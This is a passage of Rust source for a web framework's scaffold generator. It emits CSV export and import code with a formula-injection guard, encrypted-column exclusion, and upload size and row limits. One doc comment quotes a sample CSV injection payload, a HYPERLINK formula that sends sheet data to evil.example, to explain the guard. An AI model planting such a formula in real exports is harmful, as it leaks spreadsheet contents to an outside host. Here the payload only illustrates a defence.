format!("self.{name}.as_ref().map(|blob| blob.key.clone()).unwrap_or_default()")
}
// `Vec<u8>` has no `Display` either. `\x` + hex loses no byte and imports
// back unchanged (issue #2330). The index and show views stay lossy
// because they only display.
(true, FieldKind::Bytea) => {
format!("self.{name}.as_deref().map(bytea_to_hex).unwrap_or_default()")
}
(false, FieldKind::Bytea) => format!("bytea_to_hex(&self.{name})"),
// Already a `String`: clone rather than round-trip through `Display`.
// `Enum` is excluded — its Rust type is the generated enum, not a
// `String` (see `Field::rust_type`) — and so falls to the arms below.
(true, FieldKind::String | FieldKind::Text | FieldKind::RichText | FieldKind::Slug) => {
format!("self.{name}.clone().unwrap_or_default()")
}
(false, FieldKind::String | FieldKind::Text | FieldKind::RichText | FieldKind::Slug) => {
format!("self.{name}.clone()")
}
// Every remaining kind is `Display` (numerics, bool, Uuid, chrono,
// Decimal, the generated enums, and `references` foreign keys).
(true, _) => format!("self.{name}.as_ref().map(ToString::to_string).unwrap_or_default()"),
(false, _) => format!("self.{name}.to_string()"),
};
if csv_kind_is_text(field.kind) {
format!("csv_text_cell({raw})")
} else {
raw
}
}
/// Whether a column's exported value can carry arbitrary user-supplied text,
/// and so must go through the emitted `csv_text_cell` formula guard (#1315).
///
/// The closed set here is the point: a numeric, boolean, UUID, timestamp or
/// `Decimal` column is rendered by Rust's `Display` from a typed value, so it
/// cannot begin with `=`/`+`/`@` — and guarding it anyway would prefix a
/// legitimate negative number (`-5` → `'-5`) and break the spreadsheet's own
/// parsing. `Enum` is a generated Rust enum whose variants are compile-time
/// idents, so it is closed-set too. `Bytea` is closed-set as well: it is `\x` +
/// hex (issue #2330), which never starts with a formula character. `Attachment`
/// is included: it is a store key whose tail is a browser-supplied filename. `Json` is included defensively too
/// (issue #1341): its rendered text is *usually* self-quoting JSON (an
/// object/array/string literal always starts with `{`/`[`/`"`, never
/// `=`/`+`/`@`), except a bare top-level negative number (`-5`), which — like
/// the excluded numeric kinds — would be a false-positive guard, but here
/// there's no legitimate spreadsheet arithmetic on a JSON column to protect,
/// so guarding costs nothing and stays consistent with the arbitrary,
/// user-controlled data this field type exists for.
const fn csv_kind_is_text(kind: FieldKind) -> bool {
matches!(
kind,
FieldKind::String
| FieldKind::Text
| FieldKind::RichText
| FieldKind::Slug
| FieldKind::Attachment
| FieldKind::Json
)
}
/// `bytea_to_hex`, spliced into the routes module wherever a `Bytea` column
/// is shown in a form or exported (issue #2330).
const BYTEA_HEX_TO_FN: &str = r#"/// Render bytes as `\x` + lowercase hex, the Postgres `bytea` text form.
///
/// Used by the edit form and the CSV export. UTF-8 would lose every
/// non-UTF-8 byte; hex does not. The `\x` prefix keeps a spreadsheet from
/// reading the cell as a number. It then keeps the leading zeros.
fn bytea_to_hex(bytes: &[u8]) -> String {
use std::fmt::Write as _;
let mut text = String::with_capacity(2 + bytes.len() * 2);
text.push_str("\\x");
for byte in bytes {
let _ = write!(text, "{byte:02x}");
}
text
}
"#;
/// `bytea_from_hex`, the inverse of [`BYTEA_HEX_TO_FN`]. Spliced in only where
/// a form field uses it.
const BYTEA_HEX_FROM_FN: &str = r#"/// Parse `\x` + hex into bytes. Both letter cases are valid.
///
/// A blank value is empty bytes. A nullable column maps blank to NULL
/// before this call. Other bad input is an error, for example a missing
/// prefix or an odd number of digits. It never panics.
fn bytea_from_hex(text: &str) -> Result<Vec<u8>, String> {
let text = text.trim();
if text.is_empty() {
return Ok(Vec::new());
}
let digits = text
.strip_prefix("\\x")
.ok_or_else(|| String::from("must start with `\\x` and hex digits"))?;
if digits.len() & 1 == 1 {
return Err(String::from("must have an even number of hex digits"));
}
digits
.as_bytes()
.chunks(2)
.map(|pair| {
let high = char::from(pair[0]).to_digit(16);
let low = char::from(pair[1]).to_digit(16);
match (high, low) {
(Some(high), Some(low)) => u8::try_from(high * 16 + low)
.map_err(|_| String::from("is not a valid byte")),
_ => Err(String::from("has a character that is not a hex digit")),
}
})
.collect()
}
"#;
/// The `csv_text_cell` helper the generated `to_csv_record` wraps every
/// text-backed column in (issue #1315).
///
/// Emitted once per routes module, immediately above the `CsvSchema` impl.
const CSV_TEXT_CELL_HELPER: &str = "\n\n\
/// Neutralize a spreadsheet formula in an exported text cell.\n\
///\n\
/// RFC 4180 — which `export_csv` implements — governs commas, quotes and\n\
/// newlines, and says nothing about formulas. Excel and LibreOffice evaluate a\n\
/// cell beginning `=`, `+`, `-`, `@`, TAB or CR as a formula EVEN INSIDE\n\
/// QUOTES, so a row someone else typed (`=HYPERLINK(\"https://evil.example/?\"&A2,\"report\")`,\n\
/// `=WEBSERVICE(..)`) can exfiltrate the rest of the sheet when a colleague\n\
/// opens the download. Prefixing an apostrophe makes the spreadsheet treat the\n\
/// value as literal text; the apostrophe is not part of the stored data and is\n\
/// not shown in the cell.\n\
///\n\
/// Applied only to TEXT-backed columns. Numeric, boolean, UUID, timestamp and\n\
/// enum columns are rendered from typed values by `Display`, so they cannot\n\
/// carry a formula — and guarding them would corrupt a negative number.\n\
///\n\
/// Delete the `csv_text_cell(..)` wrappers below if you would rather export\n\
/// values byte-for-byte and never open the file in a spreadsheet.\n\
fn csv_text_cell(value: String) -> String {\n \
if value.starts_with(['=', '+', '-', '@', '\\t', '\\r']) {\n \
let mut guarded = String::with_capacity(value.len() + 1);\n \
guarded.push('\\'');\n \
guarded.push_str(&value);\n \
guarded\n \
} else {\n \
value\n \
}\n\
}";
/// Emit the `impl CsvSchema for {Pascal} { … }` block the export route streams
/// through `export_csv` (issue #1315).
///
/// Columns are `id`, every scaffolded column in declaration order, then the
/// model's always-present `created_at` — the same COLUMN SET (and order) the
/// `show` view renders, which is a superset of the index table's (a
/// `--default`ed column is dropped from the form and the table, but it is still
/// data an author downloading a spreadsheet wants).
///
/// The VALUES can differ from `show`'s for two kinds, deliberately: a
/// `references` column exports the raw foreign key rather than the parent label
/// the view resolves (an id round-trips back through `import_csv`; a label does
/// not, and resolving one per row would be an N+1 inside the export), and
/// an `Attachment` exports the blob's storage key rather than a signed URL that
/// would have expired by the time anyone opened the file.
///
/// `fields` must be the model's DECLARED columns — the list before
/// [`augment_fields_for_soft_delete`] appends `deleted_at`. Under
/// `--soft-delete` the model struct does carry a `deleted_at` field, but the
/// export deliberately omits it: `list_rows`/`list_scoped_rows` filter
/// `deleted_at IS NULL`, so the column is NULL for every row that can reach the
/// export, and a column that is always blank is noise in a spreadsheet.
fn render_csv_schema_impl(pascal_name: &str, fields: &[Field]) -> String {
use std::fmt::Write as _;
// Issue #1340: an at-rest encrypted column is excluded from the export. The
// model holds PLAINTEXT in memory, so including it would stream the
// decrypted secret of every listed row into a file that then lives outside
// the app entirely — a downloaded `.csv` in a Downloads folder, an email
// attachment, a shared drive. That is the one place the "plaintext in Rust,
// ciphertext at rest" bargain stops holding, and it is exactly why
// `autumn-admin-plugin`'s own `AdminModel::csv_export_columns` already
// filters `!f.encrypted`. The scaffolded export matches that posture rather
// than contradicting the admin for the same column. Re-add the column here
// (plus a matching `to_csv_record` entry) if the export genuinely needs it.
let exported: Vec<&Field> = fields.iter().filter(|f| !f.is_encrypted()).collect();
let mut headers = String::from("\"id\"");
let mut record = String::from(" self.id.to_string(),\n");
for f in &exported {
let _ = write!(headers, ", \"{}\"", f.name);
let _ = writeln!(record, " {},", csv_value_expr(f));
}
headers.push_str(", \"created_at\"");
record.push_str(" self.created_at.to_string(),\n");
// The formula guard is emitted only when some column actually routes through
// it — an unused `fn` in the generated app is a `dead_code` warning, and the
// scaffold's contract is that generated code compiles warning-free.
let text_cell_helper = if exported.iter().any(|f| csv_kind_is_text(f.kind)) {
CSV_TEXT_CELL_HELPER
} else {
""
};
// The encoding is user-editable code's contract, so the doc comment names it.
let bytea_note = if exported.iter().any(|f| f.kind == FieldKind::Bytea) {
" /// A `Bytea` column is written as `\\x` + lowercase hex (the Postgres\n\
/// text form), so no byte is lost. The import decodes it back. A\n\
/// spreadsheet can cut a cell that is too long. If you change one\n\
/// side, change the other.\n\
///\n\
"
} else {
""
};
format!(
"{text_cell_helper}\n\n/// CSV column schema for the `GET /…/export.csv` download (issue #1315).\n\
///\n\
/// `csv_columns` is the header row and `to_csv_record` the value row: the\n\
/// two MUST stay the same length and in the same order, which is the\n\
/// contract `export_csv` writes against. Edit them freely — dropping a\n\
/// sensitive column from the export is deleting one entry from each.\n\
///\n\
/// A NULL column serializes to an EMPTY cell rather than the string\n\
/// `\"None\"`, because a blank spreadsheet cell is what \"no value\" means.\n\
/// Values are NOT quoted here: `export_csv` writes RFC 4180, so a value\n\
/// containing a comma, a double quote or a newline is quoted and escaped\n\
/// by the writer — pre-quoting would double-escape it.\n\
///\n\
/// Text-backed columns go through `csv_text_cell`, which neutralizes a\n\
/// leading `=`/`+`/`-`/`@` so a spreadsheet cannot execute a value someone\n\
/// typed into this app as a formula. See that helper for the rationale and\n\
/// how to opt out.\n\
///\n\
/// An `Attachment` column exports the blob's STORAGE KEY, not the signed,\n\
/// time-bounded URL the `show` view renders — a spreadsheet cell has no\n\
/// use for a URL that expires. Drop the column here if those keys should\n\
/// not leave the app.\n\
///\n\
{bytea_note}\
/// An at-rest `#[encrypted]` column is OMITTED entirely (issue #1340):\n\
/// the model holds plaintext in memory, so exporting it would write the\n\
/// decrypted secret of every listed row into a file that leaves the app.\n\
/// The admin panel's own CSV export omits encrypted columns for the same\n\
/// reason. Add the column to BOTH lists below if you really need it.\n\
impl autumn_web::data::csv::CsvSchema for {pascal_name} {{\n \
fn csv_columns() -> &'static [&'static str] {{\n \
&[{headers}]\n \
}}\n\n \
fn to_csv_record(&self) -> Vec<String> {{\n \
vec![\n{record} ]\n \
}}\n\
}}\n"
)
}
/// The inverse of the export's `csv_text_cell` formula guard, spliced into
/// [`CSV_IMPORT_TEMPLATE`] at `__UNGUARD_FN__` only when some exported column is
/// text-backed — an unused `fn` would be a `dead_code` warning in the user's
/// app, and the scaffold's contract is that generated code compiles clean.
const CSV_BOOL_CELL_FN: &str = r#"__BOOL_COLUMNS_CONST__/// Normalize a boolean cell into what `serde` will accept for a `bool`.
///
/// The generated form declares a non-nullable `bool` as
/// `#[serde(default)] pub flag: bool`, so on the BROWSER path an unchecked
/// checkbox sends no key at all and defaults to `false`. A spreadsheet is not a
/// checkbox: it always writes the column, and it writes it a dozen ways —
/// `TRUE`/`FALSE` (what Excel exports), `1`/`0`, `yes`/`no`, or an empty cell
/// for "no". serde's `bool` accepts only `true` and `false`, so without this
/// every one of those spellings would fail the WHOLE ROW on a column the form
/// itself treats as optional.
///
/// An unrecognised value is passed through untouched, so it fails with the
/// form's own message naming the column rather than being coerced to something
/// the operator did not write. A blank cell maps to `false` only for a
/// NON-nullable column (that is what the unchecked checkbox means); for a
/// nullable one it is left blank, which `decode_form` strips to `None`.
fn csv_bool_cell<'a>(column: &str, value: &'a str) -> &'a str {
let Some((_, blank_is_false)) = CSV_BOOL_COLUMNS.iter().find(|(name, _)| *name == column)
else {
return value;
};
let normalized = value.trim();
if normalized.is_empty() {
return if *blank_is_false { "false" } else { value };
}
match normalized.to_ascii_lowercase().as_str() {
"true" | "t" | "yes" | "y" | "1" | "on" => "true",
"false" | "f" | "no" | "n" | "0" | "off" => "false",
_ => value,
}
}
"#;
const CSV_UNGUARD_CELL_FN: &str = r"__TEXT_COLUMNS_CONST__/// Undo the export's `csv_text_cell` formula guard.
///
/// `to_csv_record` prefixes an apostrophe to a text value beginning `=`, `+`,
/// `-`, `@`, TAB or CR so a spreadsheet displays it instead of executing it.
/// Left in place on the way back in, re-importing a file this app exported
/// would store that apostrophe as data — and the value would grow one character
/// per export/import round trip.
///
/// The inverse is deliberately narrow: it strips the apostrophe ONLY when it is
/// immediately followed by one of the characters the guard fires on, which is
/// exactly the shape the guard produces. An ordinary value that merely starts
/// with an apostrophe (`'tis`) is untouched.
///
/// The ambiguity that remains is inherent to the guard, not to this inverse: a
/// value someone really typed as `'=x` and one the export guarded from `=x` are
/// the same bytes in the file, and this resolves them to `=x`. Delete the call
/// in the import handler if you would rather keep the apostrophe and store it.
///
/// Applied only to the columns the export routes through `csv_text_cell`
/// (`CSV_TEXT_COLUMNS`). A numeric, boolean, UUID, timestamp or enum column is
/// rendered from a typed value and can never have been guarded, so stripping an
/// apostrophe there would make the import quietly MORE permissive than the form
/// it claims to mirror — `'-5` would import as `-5` where the form rejects it.
fn csv_unguard_cell<'a>(column: &str, value: &'a str) -> &'a str {
if !CSV_TEXT_COLUMNS.contains(&column) {
return value;
}
let mut rest = value.chars();
if rest.next() == Some('\'')
&& matches!(rest.next(), Some('=' | '+' | '-' | '@' | '\t' | '\r'))
{
&value[1..]
} else {
value
}
}
";
/// The CSV import surface (issue #1393): the upload form, its two helper
/// functions, the shared report view, and the `GET`/`POST /{plural}/import`
/// pair.
///
/// Emitted only where the export (#1315) is — the import decodes rows against
/// the same `CsvSchema` impl the export writes them from, so it cannot exist
/// where that impl does not. Everything below is spliced into the routes module
/// straight after the export handler, so a reader meets the two directions of
/// the same data door together.
///
/// Every user-facing string arrives already rendered by
/// [`scaffold_i18n::ViewLabels`], so this template is literal-free under
/// `--i18n` and byte-identical without it. [`CSV_UNGUARD_CELL_FN`] fills
/// `__UNGUARD_FN__` when the export actually guards a cell.
/// The `csv_required_columns()` helper, spliced into [`CSV_IMPORT_TEMPLATE`]
/// at `__REQUIRED_COLUMNS_CONST__`.
///
/// A plain `fn`, deliberately not a `const`: the required set is derived at
/// request time from the LIVE `CsvSchema::csv_columns()` minus the columns
/// the import cannot set, so editing the export's schema can never leave a
/// stale baked requirement behind that rejects this app's own export (issue
/// #2331).
const CSV_REQUIRED_COLUMNS_FN: &str = r"/// The columns an uploaded file must carry: every exported column
/// `{Pascal}Form` can actually set.
///
/// DERIVED from the live `CsvSchema::csv_columns()`, kept only where the form
/// can set the column — not baked at generation time. Dropping a column from
/// the export's schema therefore can never leave a stale requirement behind
/// that rejects this app's own export, and adding a computed, export-only
/// column never makes an upload need it (issue #2331).
///
/// Checked against the header BEFORE any row is decoded, because a
/// missing column is a property of the FILE, not of its rows. It also
/// catches the case row-level validation cannot: `decode_form` ignores
/// headers it does not know and defaults fields that are absent, so a
/// spreadsheet sharing no column names with this model would otherwise
/// decode into a run of blank records and report them as insertable.
fn csv_required_columns() -> Vec<&'static str> {
// The columns `{Pascal}Form` carries, as generated.
const SETTABLE: &[&str] = &[__SETTABLE_COLUMNS__];
let exported = <__PASCAL__ as autumn_web::data::csv::CsvSchema>::csv_columns();
let live: Vec<&'static str> = exported
.iter()
.copied()
.filter(|column| SETTABLE.contains(column))
.collect();
// A hand-written `csv_columns()` that exports none of the settable columns
// would leave nothing to require, and an unrelated file would then decode
// into rows of defaults. Keep the wrong-file guard armed: require what the
// form can set, which such an export cannot supply anyway.
if live.is_empty() {
SETTABLE.to_vec()
} else {
live
}
}
";
const CSV_IMPORT_TEMPLATE: &str = r#"
// ── CSV import: upload → dry-run preview → commit (issue #1393) ─────────────
/// The most bytes one uploaded CSV may carry.
///
/// `security.upload.max_file_size_bytes` (16 MiB by default) is the framework
/// ceiling; this is the tighter route-local one, applied through
/// `with_max_bytes`, which takes `min(global, this)` — so raising it above the
/// global is a no-op, and lowering the global still wins.
///
/// This, not a row count, is what bounds the handler's memory: the file is read
/// into memory whole, and on a commit every valid row is held as a
/// `New__PASCAL__` until the write. An oversized upload is REFUSED (413), never
/// truncated — a half-imported spreadsheet is worse than a rejected one. For
/// files big enough that a request-time round trip is the wrong shape, move the
/// parse into a background job instead of raising this.
const MAX_IMPORT_BYTES: usize = 2 * 1024 * 1024;
/// The most data rows one upload will process.
///
/// `MAX_IMPORT_BYTES` bounds the file; this bounds what the file can make the
/// server DO with it, which is not the same thing. A 2 MiB CSV of six-byte rows
/// is ~350 000 rows, and each one costs a form decode, a validation pass, and —
/// when it fails — a `CsvRowError` that is then rendered into the report page.
/// That is a 2 MiB request amplified into tens of megabytes of server memory,
/// on the DRY-RUN path, where the caller pays nothing. The cap is the same
/// 10 000 the CSV export uses, for the same reason.
///
/// A file over the cap is REFUSED whole, before it is imported — never imported
/// as a prefix. The count is taken in a first pass that parses records and
/// discards them, because the cap has to bind before `import_csv` runs: a
/// malformed row never reaches the row handler (`import_csv` records it and
/// moves on), so an in-handler counter would miss exactly the file that costs
/// the most. Split the file and upload the parts, or raise this — and
/// `MAX_IMPORT_BYTES` with it.
const MAX_IMPORT_ROWS: u64 = 10_000;
/// The most row errors the report page will RENDER.
///
/// A file can legitimately be wrong in ten thousand places (a shifted column,
/// an export from another system), and nobody reads ten thousand table rows —
/// but building them costs real memory, and a response over
/// `security.submit_token`'s 10 MiB cacheable-body limit silently loses this
/// route's double-submit protection. The count above the table is the whole
/// truth; this only bounds the listing.
const MAX_REPORT_ERRORS: usize = 200;
/// Media types accepted for the uploaded CSV part.
///
/// Browsers are inconsistent about what they declare for a `.csv` chosen from a
/// file dialog: a file Excel owns commonly arrives as
/// `application/vnd.ms-excel`, and some platforms fall back to
/// `application/octet-stream`. The declared type is therefore a filter, not the
/// gate — see `is_csv_upload`.
const CSV_CONTENT_TYPES: &[&str] = &[
"text/csv",
"application/csv",
"text/comma-separated-values",
"text/plain",
"application/vnd.ms-excel",
"application/octet-stream",
];
/// Whether an uploaded multipart part is plausibly a CSV file.
///
/// Two checks, both of which must pass: the filename ends in `.csv`
/// (case-insensitively), and the declared content type — client-supplied, and
/// therefore spoofable — is one of `CSV_CONTENT_TYPES` (a part that declares
/// nothing at all passes this half, which is why the extension is required).
///
/// This is a SHAPE check, not a safety check. CSV is plain text and has no
/// magic bytes, so nothing here can prove the body really is CSV. What actually
/// protects the handler is what happens next: the bytes are only ever parsed as
/// CSV, and every row is validated through the same `#[validate(...)]` rules a
/// form submission goes through before it can be written. For content-based
/// enforcement as well, set `security.upload.allowed_mime_types` — the
/// `Multipart` extractor then sniffs each file part's leading bytes before this
/// handler is reached. Mind the interaction: sniffing cannot recognise CSV, so
/// such an allow-list has to admit the declared fallback too, or CSV uploads
/// are refused before they arrive.
fn is_csv_upload(file_name: Option<&str>, content_type: Option<&str>) -> bool {
let named_csv = file_name.is_some_and(|name| {
std::path::Path::new(name)
.extension()
.is_some_and(|extension| extension.eq_ignore_ascii_case("csv"))
});
let declared_ok = match content_type {
None => true,
Some(declared) => {
// Compare on the media type's essence, so `text/csv; charset=utf-8`
// matches `text/csv`.
let essence = declared.split(';').next().unwrap_or("").trim();
essence.is_empty()
|| CSV_CONTENT_TYPES
.iter()
.any(|allowed| essence.eq_ignore_ascii_case(allowed))
}
};
named_csv && declared_ok
}
__REQUIRED_COLUMNS_CONST____IGNORED_COLUMNS_CONST____DISCARDED_CONST____CELL_FNS__/// The CSV upload control: the expected column list, the file input, and the
/// commit confirmation.
///
/// Shared by `GET /__PLURAL__/import`, the 422 re-render when an upload is
/// refused, and the page rendered after a preview or a commit — so "read the
/// preview, tick the box, upload again" is always the same control.
///
/// The CSRF and one-time submit-token inputs are rendered FIRST on purpose.
/// Both layers scan only a bounded PREFIX of a multipart body — CSRF the first
/// `security.csrf.token_scan_bytes`, the submit-token layer its own fixed 2 MiB
/// — so a token rendered after the file part sits past that window on any real
/// upload. The two then fail differently, and the quiet one is the dangerous
/// one: a CSRF token outside the window is a 403, but a submit token outside it
/// is indistinguishable from no token at all, so the request passes through
/// UNGUARDED and a double-click or Back→resubmit commits the file twice. Keep
/// both fields first if you rearrange this form.
///
/// `commit` pre-checks the confirmation box. Every caller passes `false`, and
/// that is deliberate: a page that armed the box would arm it for WHATEVER FILE
/// IS CHOSEN NEXT, so an operator who reads a bad report — or a refusal — and
/// picks a different file would commit it without ever previewing it.
/// "Unconfirmed means dry run" has to hold for every upload, not just the first.
/// The parameter stays because this is ordinary app code: pre-check it if your
/// operators import the same vetted file repeatedly and you want the second
/// submit to be one click.
fn import_form_body(
__LOCALE_REF_PARAM__csrf: Option<&CsrfToken>,
csrf_field: Option<&CsrfFormField>,
submit_token: Option<&SubmitToken>,
submit_field: Option<&SubmitFormField>,
commit: bool,
error: Option<&str>,
) -> Markup {
html! {
@if let Some(error) = error {
p role="alert" { (error) }
}
p {
__L_COLUMNS__
": "
// Joined with a BARE comma, and marked up as code, so this line can
// be copied straight into a spreadsheet's first row. The CSV parser
// does not trim, so a `, `-separated copy would produce header keys
// like `" title"` and every column would silently fail to match.
code { (<__PASCAL__ as autumn_web::data::csv::CsvSchema>::csv_columns().join(",")) }
}
p { __L_COLUMNS_NOTE__ }__IGNORED_COLUMNS_MARKUP__
form method="post" action=(paths::import()) enctype="multipart/form-data" {
(csrf_input(csrf, csrf_field))
(submit_token_input(submit_token, submit_field))
label for="__PLURAL__-import-file" { __L_FILE__ }
input id="__PLURAL__-import-file" type="file" name="file" accept=".csv,text/csv" required;
label for="__PLURAL__-import-commit" {
input id="__PLURAL__-import-commit" type="checkbox" name="commit" value="1" checked[commit];
" "
__L_COMMIT__
}
(autumn_web::a11y::Button::new(__L_UPLOAD__).submit())
}
}
}
/// Render an [`ImportReport`](autumn_web::data::csv::ImportReport): the totals,
/// then one table row per rejected CSV row.
///
/// The same view serves the dry run and the commit — only the wording of the
/// two counts changes — so an operator compares like with like: whatever the
/// preview said would insert is what the commit reports inserting, unless the
/// database rejected a row in between (which shows up here as an extra row
/// error against its own line).
///
/// `inserted + errors.len()` always equals `total_rows()`: no row is counted
/// twice and none is dropped silently.
fn import_report_view(
__LOCALE_REF_PARAM__report: &autumn_web::data::csv::ImportReport,
committed: bool,
write_failure: Option<&str>,
write_failures: usize,
__DISCARDED_PARAM__: bool,
) -> Markup {
html! {
h2 {
@if committed { __L_COMPLETE__ } @else { __L_PREVIEW__ }
}
ul {
li { __L_ROWS_READ__ ": " (report.total_rows()) }
li {
// "Inserted" only when a commit actually completed. After an
// aborted write the number is what reached the database stage,
// not what landed, so it keeps the dry run's wording.
@if committed && write_failure.is_none() { __L_ROWS_INSERTED__ } @else { __L_ROWS_INSERTABLE__ }
": "
(report.inserted)
}
li { __L_ROWS_FAILED__ ": " (report.errors.len()) }
}
// A write that failed partway through. Loudest thing on the page: some
// rows may already be committed and the counts below cannot say which,
// so re-uploading the same file would duplicate them.
@if let Some(failure) = write_failure {
p role="alert" { __L_WRITE_FAILED__ ": " (failure) }
}
// A row the DATABASE stage rejected is usually a row that was not
// written — but not always, and the difference matters to whoever is
// about to re-upload. `after_create` hooks run AFTER the insert commits,
// so a hook that fails puts an already-persisted row in this list. The
// repository returns no way to tell the two apart, so say so rather than
// let the count imply something it cannot promise.
@if write_failures > 0 {
p role="alert" { __L_WRITE_CAVEAT__ }
}__DISCARDED_MARKUP__
@if report.errors.is_empty() {
p { __L_NO_ERRORS__ }
} @else {
table {
thead {
tr {
th scope="col" { __L_LINE__ }
th scope="col" { __L_COLUMN__ }
th scope="col" { __L_PROBLEM__ }
}
}
tbody {
@for error in report.errors.iter().take(MAX_REPORT_ERRORS) {
tr {
// The 1-based line number in the uploaded file, so
// the operator can jump straight to the row in their
// spreadsheet. A `0` means "no line" (a write failure
// whose row could not be mapped back) — show the same
// dash the column cell uses rather than a line number
// that exists in no file.
@if error.line == 0 { td { "-" } } @else { td { (error.line) } }
td { (error.column.as_deref().unwrap_or("-")) }
td { (error.message) }
}
}
}
}
// The count above the table is the whole truth; the listing is
// bounded. Say so rather than let a reader take the last rendered
// row for the last error.
@if report.errors.len() > MAX_REPORT_ERRORS {
p { __L_MORE_ERRORS__ ": " (report.errors.len() - MAX_REPORT_ERRORS) }
}
}
}
}
/// `GET /__PLURAL__/import` — the CSV upload form.
///
/// The counterpart to `GET /__PLURAL__/export.csv`, and deliberately the same
/// file format: both directions go through the ONE `CsvSchema` impl above, so
/// a file this app exported can be edited and uploaded back without reshaping
/// it. Columns the form does not own — `id` and `created_at`, which the
/// database assigns — are ignored on the way in rather than rejected.
#[secured]
#[get("/__PLURAL__/import")]
pub async fn import_form(
__LOCALE_PARAM__flash: Flash,
csrf: Option<CsrfToken>,
csrf_field: Option<CsrfFormField>,
submit_token: Option<SubmitToken>,
submit_field: Option<SubmitFormField>,
) -> AutumnResult<Markup> {
Ok(__LAYOUT__(__L_TITLE__, __CP_IMPORT____FLASH_ARG__, html! {
h1 { __L_HEADING__ }
(import_form_body(__LOCALE_ARG__csrf.as_ref(), csrf_field.as_ref(), submit_token.as_ref(), submit_field.as_ref(), false, None))
(autumn_web::a11y::Link::new(paths::index(), __L_BACK__))
}))
}
/// `POST /__PLURAL__/import` — parse the uploaded CSV, then preview or commit it.
///
/// A DRY RUN IS THE DEFAULT. Unless the submitted form carries the `commit`
/// confirmation, the engine runs in `ImportMode::DryRun`: every row is parsed
/// and validated, the report says exactly what WOULD happen, and this handler's
/// single write call — the `repo.save_many_skip_invalid` below — is not
/// reached. That is the whole point of the route: see which rows are bad before
/// anything is written.
///
/// HOW A ROW BECOMES A RECORD. `import_csv` hands the closure the CSV line
/// number and the row as `column -> value`. The closure re-encodes it as a
/// urlencoded body and calls this module's own `decode_form`, so an imported
/// row is decoded, blank-normalized and validated by EXACTLY the code path a
/// browser submission takes — the same `#[validate(...)]` rules, the same
/// `into_new` conversion. A row that fails to decode becomes a row error naming
/// the parse failure; a row that fails validation becomes a field error naming
/// the column. Neither aborts the file.
///
/// WHY THE WRITE IS NOT INSIDE THE CLOSURE. `import_csv`'s handler is a
/// synchronous `FnMut`, so it cannot await a database call. The closure
/// therefore collects the validated rows (with their line numbers) and the
/// write happens after the parse pass, through the repository's
/// `save_many_skip_invalid`: a batched insert inside a transaction that falls
/// back to row-by-row for a chunk the database rejects, so one duplicate key
/// isolates itself instead of taking the whole batch down. Each returned
/// failure carries the index of the row that caused it, which maps back to the
/// CSV line recorded during the parse — that is how a unique violation is
/// reported against line 7 rather than as an opaque 500.
///
/// INSERT-ONLY, and this is the likeliest surprise: every row goes through
/// `into_new` and is INSERTED. No row is ever matched against an existing
/// record, and an `id` column in the file is ignored — so re-uploading a file
/// this app exported DUPLICATES it rather than updating it in place.
/// `ImportMode::Upsert { by }` exists for update-in-place; wiring it up means
/// matching on the `by` columns here and calling the repository's update path
/// for a hit, which is deliberately left to you rather than guessed at.
///
/// ATOMICITY, precisely: `save_many_skip_invalid` owns the transaction, and
/// this handler makes exactly one call to it. Rows that fail are skipped and
/// reported; rows that succeed are committed. If you need all-or-nothing, call
/// `save_many` instead (it aborts the batch on the first failure) and report the
/// error against the whole file.
///
/// MODEL HOOKS AND SIDE EFFECTS run per inserted row, exactly as they do for
/// `create` — including `after_create_commit` and any counter caches. An import
/// of N rows is N records' worth of side effects, not one.
///
/// SIZE: the file is capped at `MAX_IMPORT_BYTES` (and at the framework's
/// `security.upload.max_file_size_bytes`, whichever is smaller); an oversized
/// upload is refused with 413 rather than truncated.
///
/// COST, and why this route carries no `#[throttle]` where the CSV export does:
/// it is `#[secured]`, so it is not an anonymous endpoint, and the work it can
/// be asked to do is bounded by `MAX_IMPORT_BYTES` rather than by the size of
/// the table. It also sits near axum's handler-arity ceiling (16 extractors)
/// once the CSRF pair, the submit token, the flash, the repository and the
/// multipart body are counted, and `#[throttle]` injects several extractors of
/// its own — on an owner-scoped or `--i18n` scaffold the combination does not
/// fit, and a "sometimes throttled" route would be worse than an honest one. To
/// rate-limit it anyway, add `#[throttle]` and give up an extractor here (the
/// submit token is the cheapest to lose — at the cost of double-submit
/// protection, which for an import means a second commit of the same file).
#[secured]
#[post("/__PLURAL__/import")]
pub async fn import(
__LOCALE_PARAM__flash: Flash,
csrf: Option<CsrfToken>,
csrf_field: Option<CsrfFormField>,
submit_token: Option<SubmitToken>,
submit_field: Option<SubmitFormField>,__AUTHZ_PARAMS__
repo: Pg__PASCAL__Repository,
mut multipart: autumn_web::extract::Multipart,
) -> AutumnResult<autumn_web::reexports::axum::response::Response> {
use autumn_web::reexports::axum::response::IntoResponse as _;
__AUTHZ_CALL__let mut uploaded: Option<Vec<u8>> = None;
let mut commit = false;
let mut wrong_type = false;
while let Some(field) = multipart.next_field().await? {
// Copy the part's metadata before the consuming reads below move it.
let field_name = field.name().map(str::to_owned);
match field_name.as_deref() {
Some("file") => {
let file_name = field.file_name().map(str::to_owned);
let content_type = field.content_type().map(str::to_owned);
if is_csv_upload(file_name.as_deref(), content_type.as_deref()) {
uploaded = Some(field.with_max_bytes(MAX_IMPORT_BYTES).bytes_limited().await?);
} else {
// Refuse WITHOUT reading the body: a rejected upload should
// cost no more than the part header. Dropping the field here
// lets the parser skip straight to the next part.
wrong_type = true;
}
}
Some("commit") => {
// The confirmation checkbox. An unchecked box submits NOTHING —
// absence is what keeps the default a dry run — and any value
// other than the ones below is treated as "not confirmed".
//
// Capped hard: the longest value this accepts is four bytes, but
// an unnarrowed `bytes_limited()` would buffer up to the GLOBAL
// `security.upload.max_file_size_bytes` (16 MiB by default)
// before throwing it away.
let value = String::from_utf8(field.with_max_bytes(64).bytes_limited().await?)
.unwrap_or_default();
commit = matches!(value.trim(), "1" | "on" | "true" | "yes");
}
_ => {}
}
}
// A refused or missing upload re-renders the form at 422 with the reason
// inline, rather than 400ing an ordinary form submission. The confirmation
// box comes back UNCHECKED even if the refused submit had it ticked: the
// operator's next move is to choose a different file, and carrying the
// confirmation over would commit that one — a file nobody has previewed —
// on the first submit. "Unconfirmed means dry run" has to hold for every
// upload, and a refusal is not a preview.
let refusal: Option<String> = if wrong_type {
Some(__L_NOT_CSV__)
} else if uploaded.as_ref().is_none_or(Vec::is_empty) {
Some(__L_NO_FILE__)
} else {
None
};
if let Some(message) = refusal {
let page = __LAYOUT__(__L_TITLE__, __CP_IMPORT____FLASH_ARG__, html! {
h1 { __L_HEADING__ }
(import_form_body(__LOCALE_ARG__csrf.as_ref(), csrf_field.as_ref(), submit_token.as_ref(), submit_field.as_ref(), false, Some(&message)))
